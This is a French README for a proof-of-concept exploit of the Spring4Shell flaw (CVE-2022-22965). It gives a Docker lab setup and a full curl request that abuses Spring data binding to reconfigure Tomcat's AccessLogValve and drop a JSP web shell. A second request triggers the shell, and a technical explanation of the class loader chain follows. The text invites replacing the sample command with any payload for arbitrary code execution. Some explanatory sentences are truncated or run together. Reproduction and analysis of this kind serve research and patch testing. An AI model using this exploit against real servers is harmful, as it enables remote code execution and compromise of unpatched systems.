
Proof-of-concept exploit for CVE-2022-22965 (Spring4Shell) démontrant l'exécution de code à distance via la manipulation de Tomcat AccessLogValve. Comprend un environnement de reproduction basé sur Docker et une analyse technique détaillée.
Exemple minimal pour reproduire la faille RCE Spring CVE-2022-22965.
docker-compose up --build
./exploits/run.sh
rce.jsp dans webapps/handling-form-submission-complete sur le serveur web.Lancez le serveur Tomcat dans Docker
docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
Ajoutez -p 5005:5005 -e "JAVA_OPTS=-Xdebug -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005" si vous souhaitez déboguer à distance.
Construisez le projet
./mvnw install
Déployez l'application
docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
Écrivez l'exploit
curl -X POST \
-H "pre:<%" \
-H "post:;%>" \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
http://localhost:8888/handling-form-submission-complete/greeting
L'exploit va créer le fichier rce.jsp dans webapps/handling-form-submission-complete sur le serveur web.
Utilisez l'exploit
curl http://localhost:8888/handling-form-submission-complete/rce.jsp
Vous verrez alors 123 dans le terminal du conteneur. Remplacez System.out.println(123) par votre charge utile (payload) pour exécuter du code arbitraire.
GreetingController gère les requêtes POST sur le point de terminaison /greeting et lie les champs du formulaire à l'objet Greeting.user.info.firstname). Voir AbstractNestablePropertyAccessor pour les références.Greeting a deux champs id et content, mais en réalité elle possède aussi une référence à l'objet Class. Nous pouvons utiliser class.module.classLoader comme clé de données de formulaire pour accéder au chargeur de classes.module.Greeting. Rien d'autre. Dans la plupart des cas, ce n'est même pas dangereux car aucune classe avec des champs publics n'est accessible même depuis class.module.classLoader..getResources qui nous permet de continuer la chaîne de références et d'accéder à l'une des instances de la classe AccessLogValve.jsp à la racine du dossier de l'application avec la charge utile malveillante. Étant donné que les fichiers jsp sont automatiquement exécutés par Tomcat, nous pouvons y naviguer dans le navigateur et finalement exécuter la charge utile. Nous avons donc une exécution de code à distance (RCE).L'exploit ne fonctionne que sur Tomcat car il possède un chargeur de classes spécial. Cependant, une chaîne de références similaire peut exister sur d'autres serveurs d'applications web. Elle n'a tout simplement pas encore été découverte.
L'exploit nécessite Java 9 ou supérieur car la propriété module a été ajoutée dans Java 9.